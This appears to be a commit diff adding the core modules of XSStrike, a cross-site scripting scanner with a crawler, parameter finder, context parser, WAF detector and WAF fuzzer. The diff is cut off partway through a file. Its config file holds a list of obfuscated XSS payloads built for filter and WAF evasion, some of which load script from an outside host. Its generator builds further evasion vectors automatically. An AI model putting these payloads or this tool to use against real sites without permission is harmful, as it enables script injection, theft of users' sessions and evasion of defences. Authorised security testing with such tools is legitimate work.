Add files via upload
This commit is contained in:
32
core/arjun.py
Normal file
32
core/arjun.py
Normal file
@@ -0,0 +1,32 @@
|
||||
import re
|
||||
import concurrent.futures
|
||||
from core.requester import requester
|
||||
from core.colors import good, info, green, end
|
||||
from core.config import blindParams, xsschecker, threadCount
|
||||
|
||||
def checky(param, paraNames, url, headers, GET, delay):
|
||||
if param not in paraNames:
|
||||
response = requester(url, {param : xsschecker}, headers, GET, delay).text
|
||||
if '\'%s\'' % xsschecker in response or '"%s"' % xsschecker in response or ' %s ' % xsschecker in response:
|
||||
paraNames[param] = ''
|
||||
print('%s Valid parameter found : %s%s%s' % (good, green, param, end))
|
||||
|
||||
def arjun(url, GET, headers, delay):
|
||||
paraNames = {}
|
||||
response = requester(url, {}, headers, GET, delay).text
|
||||
matches = re.findall(r'<input.*?name=\'(.*?)\'.*?>|<input.*?name="(.*?)".*?>', response)
|
||||
for match in matches:
|
||||
try:
|
||||
foundParam = match[1]
|
||||
except UnicodeDecodeError:
|
||||
continue
|
||||
print('%s Heuristics found a potentially valid parameter: %s%s%s. Priortizing it.' % (good, green, foundParam, end))
|
||||
if foundParam in blindParams:
|
||||
blindParams.remove(foundParam)
|
||||
blindParams.insert(0, foundParam)
|
||||
threadpool = concurrent.futures.ThreadPoolExecutor(max_workers=threadCount)
|
||||
futures = (threadpool.submit(checky, param, paraNames, url, headers, GET, delay) for param in blindParams)
|
||||
for i, _ in enumerate(concurrent.futures.as_completed(futures)):
|
||||
if i + 1 == len(blindParams) or (i + 1) % threadCount == 0:
|
||||
print('%s Progress: %i/%i' % (info, i + 1, len(blindParams)), end='\r')
|
||||
return paraNames
|
||||
19
core/checker.py
Normal file
19
core/checker.py
Normal file
@@ -0,0 +1,19 @@
|
||||
import re
|
||||
import copy
|
||||
from fuzzywuzzy import fuzz
|
||||
from core.utils import replacer
|
||||
from core.config import xsschecker
|
||||
from urllib.parse import quote_plus
|
||||
from core.requester import requester
|
||||
|
||||
def checker(url, params, headers, GET, delay, payload):
|
||||
checkString = 'st4r7' + payload
|
||||
paramsCopy = copy.deepcopy(params)
|
||||
response = requester(url, replacer(paramsCopy, xsschecker, checkString), headers, GET, delay).text.lower()
|
||||
# Itretating over the reflections
|
||||
efficiencies = []
|
||||
for m in re.finditer('st4r7', response):
|
||||
reflected = response[m.start():m.start()+len(checkString)]
|
||||
efficiency = fuzz.partial_ratio(reflected, checkString.lower())
|
||||
efficiencies.append(efficiency)
|
||||
return efficiencies
|
||||
12
core/colors.py
Normal file
12
core/colors.py
Normal file
@@ -0,0 +1,12 @@
|
||||
white = '\033[97m'
|
||||
dgreen = '\033[32m'
|
||||
green = '\033[92m'
|
||||
red = '\033[91m'
|
||||
yellow = '\033[93m'
|
||||
end = '\033[0m'
|
||||
back = '\033[7;91m'
|
||||
info = '\033[93m[!]\033[0m'
|
||||
que = '\033[94m[?]\033[0m'
|
||||
bad = '\033[91m[-]\033[0m'
|
||||
good = '\033[92m[+]\033[0m'
|
||||
run = '\033[97m[~]\033[0m'
|
||||
75
core/config.py
Normal file
75
core/config.py
Normal file
@@ -0,0 +1,75 @@
|
||||
xsschecker = 'v3dm0s' # A non malicious string to check for reflections and stuff
|
||||
|
||||
minEfficiency = 90
|
||||
|
||||
delay = 0
|
||||
threadCount = 10
|
||||
timeout = 7
|
||||
|
||||
badTags = ('iframe', 'title', 'textarea', 'noembed', 'style', 'template', 'noscript')
|
||||
|
||||
tags = ('html', 'd3v', 'a', 'details') # HTML Tags
|
||||
|
||||
jFillings = ('-', '*', ';', '/')
|
||||
lFillings = ('', ' x')
|
||||
eFillings = ('%09', '%0a', '%0d', '+') # "Things" to use between event handler and = or between function and =
|
||||
fillings = ('%09', '%0a', '%0d', '/+/') # "Things" to use instead of space
|
||||
|
||||
eventHandlers = { # Event handlers and the tags compatible with them
|
||||
'ontoggle': ['details'],
|
||||
'onpointerenter': ['d3v', 'details', 'html', 'a'],
|
||||
'onmouseover': ['a', 'html', 'd3v']
|
||||
}
|
||||
|
||||
functions = ( # JavaScript functions to get a popup
|
||||
'[8].find(confirm)', 'confirm()',
|
||||
'(confirm)()', 'co\u006efir\u006d()',
|
||||
'(prompt)``', 'a=prompt,a()')
|
||||
|
||||
payloads = ( # Payloads for filter & WAF evasion
|
||||
'\'"</Script><Html Onmouseover=(confirm)()//'
|
||||
'<imG/sRc=l oNerrOr=(prompt)() x>',
|
||||
'<!--<iMg sRc=--><img src=x oNERror=(prompt)`` x>',
|
||||
'<deTails open oNToggle=confi\u0072m()>',
|
||||
'<img sRc=l oNerrOr=(confirm)() x>',
|
||||
'<svg/x=">"/onload=confirm()//',
|
||||
'<svg%0Aonload=%09((pro\u006dpt))()//',
|
||||
'<iMg sRc=x:confirm`` oNlOad=e\u0076al(src)>',
|
||||
'<sCript x>confirm``</scRipt x>',
|
||||
'<Script x>prompt()</scRiPt x>',
|
||||
'<sCriPt sRc=//14.rs>',
|
||||
'<embed//sRc=//14.rs>',
|
||||
'<base href=//14.rs/><script src=/>',
|
||||
'<object//data=//14.rs>',
|
||||
'<s=" onclick=confirm``>clickme',
|
||||
'<svG oNLoad=co\u006efirm(1)>',
|
||||
'\'"><y///oNMousEDown=((confirm))()>Click',
|
||||
'<a/href=javascript:co\u006efirm("1")>clickme</a>',
|
||||
'<img src=x onerror=confir\u006d`1`>',
|
||||
'<svg/onload=co\u006efir\u006d`1`>')
|
||||
|
||||
fuzzes = ( # Fuzz strings to test WAFs
|
||||
'<test', '<test//', '<test>', '<test x>', '<test x=y', '<test x=y//',
|
||||
'<test/oNxX=yYy//', '<test oNxX=yYy>', '<test onload=x', '<test/o%00nload=x',
|
||||
'<test sRc=xxx', '<test data=asa', '<test data=javascript:asa', '<svg x=y>',
|
||||
'<details x=y//', '<a href=x//', '<emBed x=y>', '<object x=y//', '<bGsOund sRc=x>',
|
||||
'<iSinDEx x=y//', '<aUdio x=y>', '<script x=y>', '<script//src=//', '">payload<br/attr="',
|
||||
'"-confirm``-"', '<test ONdBlcLicK=x>', '<test/oNcoNTeXtMenU=x>', '<test OndRAgOvEr=x>')
|
||||
|
||||
headers = {
|
||||
'User-Agent' : '$',
|
||||
'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
|
||||
'Accept-Language' : 'en-US,en;q=0.5',
|
||||
'Accept-Encoding' : 'gzip,deflate',
|
||||
'Connection' : 'close',
|
||||
'DNT' : '1',
|
||||
'Upgrade-Insecure-Requests' : '1',
|
||||
}
|
||||
|
||||
blindParams = ['redirect','redir','url','link','goto','debug','_debug','test','get','index','src','source','file',
|
||||
'frame','config','new','old','var','rurl','return_to','_return','returl','last','text','load','email',
|
||||
'mail','user','username','password','pass','passwd','first_name','last_name','back','href','ref','data','input',
|
||||
'out','net','host','address','code','auth','userid','auth_token','token','error','keyword','key','q','query','aid',
|
||||
'bid','cid','did','eid','fid','gid','hid','iid','jid','kid','lid','mid','nid','oid','pid','qid','rid','sid',
|
||||
'tid','uid','vid','wid','xid','yid','zid','cal','country','x','y','topic','title','head','higher','lower','width',
|
||||
'height','add','result','log','demo','example','message']
|
||||
30
core/dom.py
Normal file
30
core/dom.py
Normal file
@@ -0,0 +1,30 @@
|
||||
import re
|
||||
from core.colors import red, end, yellow
|
||||
|
||||
def dom(response, silent=False):
|
||||
result = False
|
||||
highlighted = []
|
||||
response = response.split('\n')
|
||||
SOURCES_RE = r"""location\.|\.([.\[]\s*["']?\s*arguments|dialogArguments|innerHTML|write|open|showModalDialog|cookie|URL|documentURI|baseURI|referrer|name|opener|parent|top|content|self|frames)\b|(localStorage|sessionStorage|Database)\b"""
|
||||
SINKS_RE = r"""( (src|href|data|location|code|value|action)=)|(replace|assign|navigate|getResponseHeader|open|showModalDialog|eval|evaluate|execCommand|execScript|setTimeout|setInterval)\("""
|
||||
num = 1
|
||||
for newLine in response:
|
||||
line = newLine
|
||||
pattern = re.findall(SOURCES_RE, line)
|
||||
for grp in pattern:
|
||||
source = ''.join(grp)
|
||||
line = line.replace(source, yellow + source + end)
|
||||
pattern = re.findall(SINKS_RE, line)
|
||||
for grp in pattern:
|
||||
sink = ''.join(grp)
|
||||
line = line.replace(sink, red + sink + end)
|
||||
if line != newLine:
|
||||
highlighted.append('%-3s %s' % (str(num), line.lstrip(' ')))
|
||||
num += 1
|
||||
if highlighted and not silent:
|
||||
print (red + ('-' * 60) + end)
|
||||
result = True
|
||||
for line in highlighted:
|
||||
print (line)
|
||||
print (red + ('-' * 60) + end)
|
||||
return result
|
||||
30
core/filterChecker.py
Normal file
30
core/filterChecker.py
Normal file
@@ -0,0 +1,30 @@
|
||||
from core.utils import replacer
|
||||
from core.checker import checker
|
||||
from core.config import xsschecker
|
||||
from core.requester import requester
|
||||
|
||||
def filterChecker(url, params, headers, GET, delay, occurences):
|
||||
environments = set(['<', '>'])
|
||||
sortedEfficiencies = {}
|
||||
for i in range(len(occurences.values())):
|
||||
sortedEfficiencies[i] = {}
|
||||
for occurence in occurences.values():
|
||||
environments.add(occurence['context'][1])
|
||||
location = occurence['context'][0]
|
||||
if location == 'comment':
|
||||
environments.add('-->')
|
||||
elif location == 'script':
|
||||
environments.add('</scRipT/>')
|
||||
for environment in environments:
|
||||
if environment == '':
|
||||
efficiencies = [100 for i in range(len(occurences))]
|
||||
else:
|
||||
efficiencies = checker(url, params, headers, GET, delay, environment)
|
||||
if not efficiencies:
|
||||
for i in range(len(occurences)):
|
||||
efficiencies.append(0)
|
||||
for i, efficiency in zip(range(len(efficiencies)), efficiencies):
|
||||
sortedEfficiencies[i][environment] = efficiency
|
||||
for efficiency, occurence in zip(sortedEfficiencies.values(), occurences.values()):
|
||||
occurence['score'] = efficiency
|
||||
return occurences
|
||||
50
core/fuzzer.py
Normal file
50
core/fuzzer.py
Normal file
@@ -0,0 +1,50 @@
|
||||
import copy
|
||||
from time import sleep
|
||||
from random import randint
|
||||
from core.utils import replacer
|
||||
from urllib.parse import quote_plus
|
||||
from core.requester import requester
|
||||
from core.config import fuzzes, xsschecker
|
||||
from core.colors import end, red, white, green, yellow, run, bad, good, info, que
|
||||
|
||||
def counter(string):
|
||||
special = '\'"=/:*&)(}{][><'
|
||||
count = 0
|
||||
for char in list(string):
|
||||
if char in special:
|
||||
count += 1
|
||||
return count
|
||||
|
||||
def fuzzer(url, params, headers, GET, delay, WAF):
|
||||
for fuzz in fuzzes:
|
||||
if delay == 0:
|
||||
delay = 6
|
||||
t = delay + randint(delay, delay * 2) + counter(fuzz)
|
||||
sleep(t)
|
||||
paramsCopy = copy.deepcopy(params)
|
||||
try:
|
||||
response = requester(url, replacer(paramsCopy, xsschecker, fuzz), headers, GET, delay/2)
|
||||
except:
|
||||
print ('\n%s WAF is dropping suspicious requests.' % bad)
|
||||
if delay == 0:
|
||||
print ('%s Delay has been increased to %s6%s seconds.' % (info, green, end))
|
||||
delay += 6
|
||||
limit = (delay + 1) * 50
|
||||
timer = -1
|
||||
while timer < limit:
|
||||
print ('\r%s Fuzzing will continue after %s%i%s seconds.\t\t' % (info, green, limit, end), end='\r')
|
||||
limit -= 1
|
||||
sleep(1)
|
||||
try:
|
||||
requests.get(url, timeout=5, cookies=cookie)
|
||||
print ('\n%s Pheww! Looks like sleeping for %s%i%s seconds worked!' % (good, green, (delay + 1) * 2), end)
|
||||
except:
|
||||
print ('\n%s Looks like WAF has blocked our IP Address. Sorry!' % bad)
|
||||
break
|
||||
if fuzz.lower() in response.text.lower(): # if fuzz string is reflected in the response
|
||||
result = ('%s[passed] %s' % (green, end))
|
||||
elif str(response.status_code)[:1] != '2': # if the server returned an error (Maybe WAF blocked it)
|
||||
result = ('%s[blocked] %s' % (red, end))
|
||||
else: # if the fuzz string was not reflected in the response completely
|
||||
result = ('%s[filtered]%s' % (yellow, end))
|
||||
print ('%s %s' % (result, fuzz))
|
||||
98
core/generator.py
Normal file
98
core/generator.py
Normal file
@@ -0,0 +1,98 @@
|
||||
from core.jsContexter import jsContexter
|
||||
from core.utils import randomUpper as r, genGen, extractScripts
|
||||
from core.config import badTags, fillings, eFillings, lFillings, jFillings, eventHandlers, tags, functions
|
||||
|
||||
def generator(occurences, response):
|
||||
scripts = extractScripts(response)
|
||||
index = 0
|
||||
vectors = {10 : set(), 9 : set(), 8 : set(), 7 : set(), 6 : set(), 5 : set(), 4 : set(), 3 : set(), 2 : set(), 1 : set()}
|
||||
for i in occurences:
|
||||
context = occurences[i]['context'][0]
|
||||
breaker = occurences[i]['context'][1]
|
||||
special = occurences[i]['context'][2]
|
||||
if special not in badTags:
|
||||
special = ''
|
||||
elif context == 'attribute':
|
||||
special = '</' + special + '/>'
|
||||
else:
|
||||
special = ''
|
||||
attribute = occurences[i]['context'][3]
|
||||
if context == 'html':
|
||||
lessBracketEfficiency = occurences[i]['score']['<']
|
||||
greatBracketEfficiency = occurences[i]['score']['>']
|
||||
breakerEfficiency = occurences[i]['score'][breaker]
|
||||
ends = ['//']
|
||||
if greatBracketEfficiency == 100:
|
||||
ends.append('>')
|
||||
if lessBracketEfficiency == breakerEfficiency == 100:
|
||||
payloads = genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, breaker, special)
|
||||
for payload in payloads:
|
||||
vectors[10].add(payload)
|
||||
elif context == 'attribute':
|
||||
breakerEfficiency = occurences[i]['score'][breaker]
|
||||
greatBracketEfficiency = occurences[i]['score']['>']
|
||||
ends = ['//']
|
||||
if greatBracketEfficiency == 100:
|
||||
ends.append('>')
|
||||
if greatBracketEfficiency == 100 and breakerEfficiency == 100:
|
||||
payloads = genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, breaker, special)
|
||||
for payload in payloads:
|
||||
if breaker:
|
||||
payload = payload.replace(breaker, breaker + '>')
|
||||
else:
|
||||
payload = '>' + payload
|
||||
vectors[10].add(payload)
|
||||
if breakerEfficiency == 100:
|
||||
for filling in fillings:
|
||||
for function in functions:
|
||||
vector = breaker + filling + 'auTOfOcuS' + filling + 'OnFoCUs' + '=' + breaker + function
|
||||
vectors[6].add(vector)
|
||||
elif context == 'comment':
|
||||
lessBracketEfficiency = occurences[i]['score']['<']
|
||||
greatBracketEfficiency = occurences[i]['score']['>']
|
||||
breakerEfficiency = occurences[i]['score'][breaker]
|
||||
ends = ['//']
|
||||
if greatBracketEfficiency == 100:
|
||||
ends.append('>')
|
||||
if lessBracketEfficiency == breakerEfficiency == 100:
|
||||
payloads = genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, breaker, special)
|
||||
for payload in payloads:
|
||||
vectors[10].add(payload)
|
||||
elif context == 'script':
|
||||
try:
|
||||
script = scripts[index]
|
||||
except IndexError:
|
||||
script = scripts[0]
|
||||
closer = jsContexter(script)
|
||||
validBreakers = ['\'', '"', '`']
|
||||
scriptEfficiency = occurences[i]['score']['</scRipT/>']
|
||||
greatBracketEfficiency = occurences[i]['score']['>']
|
||||
breakerEfficiency = occurences[i]['score'][breaker]
|
||||
ends = ['//']
|
||||
if greatBracketEfficiency == 100:
|
||||
ends.append('>')
|
||||
if scriptEfficiency == 100:
|
||||
breaker = r('</script/>')
|
||||
payloads = genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, breaker, special)
|
||||
for payload in payloads:
|
||||
vectors[10].add(payload)
|
||||
if closer:
|
||||
suffix = '//\\'
|
||||
if not breaker:
|
||||
closer = closer[1:]
|
||||
for filling in jFillings:
|
||||
for function in functions:
|
||||
vector = closer + filling + function + suffix
|
||||
vectors[7].add(vector)
|
||||
elif breakerEfficiency >= 83:
|
||||
suffix = '//'
|
||||
for filling in jFillings:
|
||||
for function in functions:
|
||||
if '=' in function:
|
||||
function = '(' + function + ')'
|
||||
if breaker == '':
|
||||
filling = ''
|
||||
vector = '\\' + breaker + closer + filling + function + suffix
|
||||
vectors[6].add(vector)
|
||||
index += 1
|
||||
return vectors
|
||||
68
core/htmlParser.py
Normal file
68
core/htmlParser.py
Normal file
@@ -0,0 +1,68 @@
|
||||
import re
|
||||
from core.config import badTags
|
||||
from core.config import xsschecker
|
||||
|
||||
def htmlParser(response):
|
||||
tags = [] # tags in which the input is reflected
|
||||
locations = [] # contexts in which the input is reflected
|
||||
attributes = [] # attribute names
|
||||
environments = [] # strings needed to break out of the context
|
||||
parts = response.split(xsschecker)
|
||||
parts.remove(parts[0]) # remove first element since it doesn't contain xsschecker
|
||||
parts = [xsschecker + s for s in parts] # add xsschecker in front of all elements
|
||||
for part in parts: # iterate over the parts
|
||||
deep = part.split('>')
|
||||
if '</script' in deep[0]:
|
||||
location = 'script'
|
||||
elif '</' in deep[0]:
|
||||
location = 'html'
|
||||
elif deep[0][-2:] == '--':
|
||||
location = 'comment'
|
||||
else:
|
||||
location = 'script'
|
||||
for char in part:
|
||||
if char == '<':
|
||||
location = 'attribute'
|
||||
break
|
||||
locations.append(location) # add location to locations list
|
||||
num = 0 # dummy value to keep record of occurence being processed
|
||||
for occ in re.finditer(xsschecker, response, re.IGNORECASE): # find xsschecker in response and return matches
|
||||
toLook = list(response[occ.end():]) # convert "xsschecker to EOF" into a list
|
||||
for loc in range(len(toLook)): # interate over the chars
|
||||
if toLook[loc] in ('\'', '"', '`'): # if the char is a quote
|
||||
environments.append(toLook[loc]) # add it to enviornemts list
|
||||
tokens = response.split('<')
|
||||
goodTokens = [] # tokens which contain xsschecker
|
||||
for token in tokens: # iterate over tokens
|
||||
if xsschecker in token: # if xsschecker is in token
|
||||
goodTokens.append(token) # add it to goodTokens list
|
||||
attrs = token.split(' ')
|
||||
for attr in attrs:
|
||||
if xsschecker in attr:
|
||||
attributes.append(attr.split('=')[0])
|
||||
break
|
||||
try:
|
||||
tag = re.search(r'\w+', goodTokens[num]).group() # finds the tag "inside" which input is refelcted
|
||||
except:
|
||||
tag = re.search(r'\w+', goodTokens[num - 1]).group() # finds the tag "inside" which input is refelcted
|
||||
tags.append(tag) # add the tag to the tags
|
||||
break
|
||||
elif toLook[loc] == '<':
|
||||
if toLook[loc + 1] == '/':
|
||||
tag = ''.join(toLook).split('</')[1].split('>')[0]
|
||||
if tag in badTags:
|
||||
environments.append('</' + tag + '/>')
|
||||
else:
|
||||
environments.append('')
|
||||
tags.append(tag)
|
||||
attributes.append('')
|
||||
break
|
||||
loc += 1
|
||||
num += 1
|
||||
occurences = {}
|
||||
for i, loc, env, tag, attr in zip(range(len(locations)), locations, environments, tags, attributes):
|
||||
occurences[i] = {}
|
||||
if loc == 'comment':
|
||||
value = '-->'
|
||||
occurences[i]['context'] = [loc, env, tag, attr]
|
||||
return occurences
|
||||
24
core/jsContexter.py
Normal file
24
core/jsContexter.py
Normal file
@@ -0,0 +1,24 @@
|
||||
import re
|
||||
from core.config import xsschecker
|
||||
|
||||
def jsContexter(script):
|
||||
broken = script.split(xsschecker)
|
||||
pre = broken[0]
|
||||
pre = re.sub(r'(?s)\{.*?\}|(?s)\(.*?\)|(?s)".*?"|(?s)\'.*?\'', '', pre)
|
||||
breaker = []
|
||||
num = 0
|
||||
for char in pre:
|
||||
if char == '{':
|
||||
breaker.append('}')
|
||||
elif char == '(':
|
||||
breaker.append(');')
|
||||
elif char == '[':
|
||||
breaker.append(']')
|
||||
elif char == '/':
|
||||
try:
|
||||
if pre[num + 1] == '*':
|
||||
breaker.append('*/')
|
||||
except IndexError:
|
||||
pass
|
||||
num += 1
|
||||
return ''.join(breaker[::-1])
|
||||
56
core/photon.py
Normal file
56
core/photon.py
Normal file
@@ -0,0 +1,56 @@
|
||||
# Let's import what we need
|
||||
import tld
|
||||
import sys
|
||||
import json
|
||||
from re import findall
|
||||
import concurrent.futures
|
||||
from urllib.parse import urlparse # for python3
|
||||
|
||||
from core.colors import run
|
||||
from core.zetanize import zetanize
|
||||
from core.requester import requester
|
||||
from core.utils import getUrl, getParams
|
||||
|
||||
def photon(main_url, url, headers):
|
||||
urls = set() # urls found
|
||||
forms = [] # web forms
|
||||
processed = set() # urls that have been crawled
|
||||
storage = set() # urls that belong to the target i.e. in-scope
|
||||
host = urlparse(url).netloc
|
||||
url = getUrl(url, '', True)
|
||||
schema = urlparse(main_url).scheme
|
||||
params = getParams(url, '', True)
|
||||
response = requester(url, params, headers, True, 0).text
|
||||
forms.append(zetanize(response))
|
||||
matches = findall(r'<[aA].*href=["\']{0,1}(.*?)["\']', response)
|
||||
for link in matches: # iterate over the matches
|
||||
link = link.split('#')[0] # remove everything after a "#" to deal with in-page anchors
|
||||
if link[:4] == 'http':
|
||||
if link.startswith(main_url):
|
||||
urls.add(link)
|
||||
elif link[:2] == '//':
|
||||
if link.split('/')[2].startswith(host):
|
||||
urls.add(schema + link)
|
||||
else:
|
||||
external.add(link)
|
||||
elif link[:1] == '/':
|
||||
urls.add(main_url + link)
|
||||
else:
|
||||
urls.add(main_url + '/' + link)
|
||||
def rec(target):
|
||||
print ('%s Parsing %s' % (run, target))
|
||||
url = getUrl(target, '', True)
|
||||
params = getParams(target, '', True)
|
||||
if '=' in target:
|
||||
inps = []
|
||||
for name, value in params.items():
|
||||
inps.append({'name': name, 'value': value})
|
||||
forms.append({0: {'action': url, 'method': 'get', 'inputs': inps}})
|
||||
response = requester(url, params, headers, True, 0).text
|
||||
forms.append(zetanize(response))
|
||||
from core.config import threadCount
|
||||
threadpool = concurrent.futures.ThreadPoolExecutor(max_workers=threadCount)
|
||||
futures = (threadpool.submit(rec, url) for url in urls)
|
||||
for i, _ in enumerate(concurrent.futures.as_completed(futures)):
|
||||
pass
|
||||
return forms
|
||||
19
core/prompt.py
Normal file
19
core/prompt.py
Normal file
@@ -0,0 +1,19 @@
|
||||
import os
|
||||
import tempfile
|
||||
|
||||
def prompt(default=None):
|
||||
editor = 'nano'
|
||||
with tempfile.NamedTemporaryFile(mode='r+') as tmpfile:
|
||||
if default:
|
||||
tmpfile.write(default)
|
||||
tmpfile.flush()
|
||||
|
||||
child_pid = os.fork()
|
||||
is_child = child_pid == 0
|
||||
|
||||
if is_child:
|
||||
os.execvp(editor, [editor, tmpfile.name])
|
||||
else:
|
||||
os.waitpid(child_pid, 0)
|
||||
tmpfile.seek(0)
|
||||
return tmpfile.read().strip()
|
||||
18
core/requester.py
Normal file
18
core/requester.py
Normal file
@@ -0,0 +1,18 @@
|
||||
import time
|
||||
import random
|
||||
import warnings
|
||||
import requests
|
||||
|
||||
warnings.filterwarnings('ignore') # Disable SSL related warnings
|
||||
|
||||
def requester(url, data, headers, GET, delay):
|
||||
time.sleep(delay)
|
||||
user_agents = ['Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0',
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36'
|
||||
'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991']
|
||||
headers['User-Agent'] = random.choice(user_agents)
|
||||
if GET:
|
||||
response = requests.get(url, params=data, headers=headers, verify=False)
|
||||
else:
|
||||
response = requests.post(url, data=data, headers=headers, verify=False)
|
||||
return response
|
||||
30
core/updater.py
Normal file
30
core/updater.py
Normal file
@@ -0,0 +1,30 @@
|
||||
import re
|
||||
import os
|
||||
from requests import get
|
||||
from core.colors import run, que, good, info, red, end, green
|
||||
|
||||
def updater():
|
||||
print('%s Checking for updates' % run)
|
||||
changes = '''''' # Changes must be seperated by ;
|
||||
latestCommit = get('https://raw.githubusercontent.com/s0md3v/XSStrike/master/xsstrike').text
|
||||
|
||||
if changes not in latestCommit: # just a hack to see if a new version is available
|
||||
changelog = re.search(r"changes = '''(.*?)'''", latestCommit)
|
||||
changelog = changelog.group(1).split(';') # splitting the changes to form a list
|
||||
print('%s A new version of XSStrike is available.' % good)
|
||||
print('%s Changes:' % info)
|
||||
for change in changelog: # print changes
|
||||
print('%s>%s %s' % (green, end, change))
|
||||
|
||||
currentPath = os.getcwd().split('/') # if you know it, you know it
|
||||
folder = currentPath[-1] # current directory name
|
||||
path = '/'.join(currentPath) # current directory path
|
||||
choice = input('%s Would you like to update? [Y/n] ' % que).lower()
|
||||
|
||||
if choice != 'n':
|
||||
print('%s Updating XSStrike' % run)
|
||||
os.system('git clone --quiet https://github.com/s0md3v/XSStrike %s' % (folder))
|
||||
os.system('cp -r %s/%s/* %s && rm -r %s/%s/ 2>/dev/null' % (path, folder, path, path, folder))
|
||||
print('%s Update successful!' % good)
|
||||
else:
|
||||
print('%s XSStrike is up to date!' % good)
|
||||
88
core/utils.py
Normal file
88
core/utils.py
Normal file
@@ -0,0 +1,88 @@
|
||||
import re
|
||||
import random
|
||||
from core.config import xsschecker
|
||||
|
||||
def extractHeaders(headers):
|
||||
sorted_headers = {}
|
||||
matches = re.findall(r'(.*):\s(.*)', headers)
|
||||
for match in matches:
|
||||
header = match[0]
|
||||
value = match[1]
|
||||
try:
|
||||
if value[-1] == ',':
|
||||
value = value[:-1]
|
||||
sorted_headers[header] = value
|
||||
except IndexError:
|
||||
pass
|
||||
return sorted_headers
|
||||
|
||||
def replacer(dic, toReplace, replaceWith):
|
||||
for key in dic.keys():
|
||||
if dic[key] == toReplace:
|
||||
dic[key] = replaceWith
|
||||
return dic
|
||||
|
||||
def getUrl(url, data, GET):
|
||||
if GET:
|
||||
return url.split('?')[0]
|
||||
else:
|
||||
return url
|
||||
|
||||
def extractScripts(response):
|
||||
scripts = []
|
||||
matches = re.findall(r'(?s)<script.*?>(.*?)</script>', response.lower())
|
||||
for match in matches:
|
||||
if xsschecker in match:
|
||||
scripts.append(match)
|
||||
return scripts
|
||||
|
||||
def randomUpper(string):
|
||||
return ''.join(random.choice((x, y)) for x, y in zip(string.upper(),string.lower()))
|
||||
|
||||
def flattenParams(currentParam, params, payload):
|
||||
flatted = []
|
||||
for name, value in params.items():
|
||||
if name == currentParam:
|
||||
value = payload
|
||||
flatted.append(name + '=' + value)
|
||||
return '?' + '&'.join(flatted)
|
||||
|
||||
def genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, breaker, special):
|
||||
vectors = []
|
||||
r = randomUpper
|
||||
for tag in tags:
|
||||
if tag == 'd3v' or tag == 'a':
|
||||
bait = 'z'
|
||||
else:
|
||||
bait = ''
|
||||
for eventHandler in eventHandlers:
|
||||
if tag in eventHandlers[eventHandler]:
|
||||
for function in functions:
|
||||
for filling in fillings:
|
||||
for eFilling in eFillings:
|
||||
for lFilling in lFillings:
|
||||
for end in ends:
|
||||
if tag == 'd3v' or tag == 'a':
|
||||
if '>' in ends:
|
||||
end = '>'
|
||||
vector = vector = r(breaker) + special + '<' + r(tag) + filling + r(eventHandler) + eFilling + '=' + eFilling + function + lFilling + end + bait
|
||||
vectors.append(vector)
|
||||
return vectors
|
||||
|
||||
def getParams(url, data, GET):
|
||||
params = {}
|
||||
if GET:
|
||||
if '=' in url:
|
||||
data = url.split('?')[1]
|
||||
if data[:1] == '?':
|
||||
data = data[1:]
|
||||
else:
|
||||
data = ''
|
||||
parts = data.split('&')
|
||||
for part in parts:
|
||||
each = part.split('=')
|
||||
try:
|
||||
params[each[0]] = each[1]
|
||||
except IndexError:
|
||||
params = None
|
||||
return params
|
||||
37
core/wafDetector.py
Normal file
37
core/wafDetector.py
Normal file
@@ -0,0 +1,37 @@
|
||||
import re
|
||||
from core.requester import requester
|
||||
|
||||
def wafDetector(url, params, headers, GET, delay):
|
||||
noise = '<script>alert(1)</script>' #a payload which is noisy enough to provoke the WAF
|
||||
params['xss'] = noise
|
||||
response = requester(url, params, headers, GET, delay) # Opens the noise injected payload
|
||||
code = str(response.status_code)
|
||||
response_headers = str(response.headers)
|
||||
response_text = response.text.lower()
|
||||
WAF_Name = ''
|
||||
if code[:1] != '2':
|
||||
if code == '406' or code == '501': # if the http response code is 406/501
|
||||
WAF_Name = 'Mod_Security'
|
||||
elif 'wordfence' in response_text:
|
||||
WAF_Name = 'Wordfence'
|
||||
elif code == '999': # if the http response code is 999
|
||||
WAF_Name = 'WebKnight'
|
||||
elif 'has disallowed characters' in response_text:
|
||||
WAF_Name = 'CodeIgniter'
|
||||
elif '<hr><center>nginx</center>' in response_text:
|
||||
WAF_Name = 'nginx'
|
||||
elif 'comodo' in response_text:
|
||||
WAF_Name = 'Comodo'
|
||||
elif 'sucuri' in response_text:
|
||||
WAF_Name = 'Sucuri'
|
||||
elif code == '419': # if the http response code is 419
|
||||
WAF_Name = 'F5 BIG IP'
|
||||
elif 'barra' in response_headers:
|
||||
WAF_Name = 'Barracuda'
|
||||
elif re.search(r'cf[-|_]ray', response_headers):
|
||||
WAF_Name = 'Cloudflare'
|
||||
elif 'AkamaiGHost' in response_headers:
|
||||
WAF_Name = 'AkamaiGhost'
|
||||
elif code == '403': # if the http response code is 403
|
||||
WAF_Name = 'Unknown'
|
||||
return WAF_Name
|
||||
39
core/zetanize.py
Normal file
39
core/zetanize.py
Normal file
@@ -0,0 +1,39 @@
|
||||
import re
|
||||
|
||||
def zetanize(response):
|
||||
def e(string):
|
||||
return string.encode('utf-8')
|
||||
|
||||
def d(string):
|
||||
return string.decode('utf-8')
|
||||
|
||||
response = re.sub(r'(?s)<!--.*?-->', '', response)
|
||||
forms = {}
|
||||
matches = re.findall(r'(?i)(?s)<form.*?</form.*?>', response)
|
||||
num = 0
|
||||
for match in matches:
|
||||
page = re.search(r'(?i)action=[\'"](.*?)[\'"]', match)
|
||||
method = re.search(r'(?i)method=[\'"](.*?)[\'"]', match)
|
||||
forms[num] = {}
|
||||
forms[num]['action'] = d(e(page.group(1))) if page else ''
|
||||
forms[num]['method'] = d(e(method.group(1)).lower()) if method else 'get'
|
||||
forms[num]['inputs'] = []
|
||||
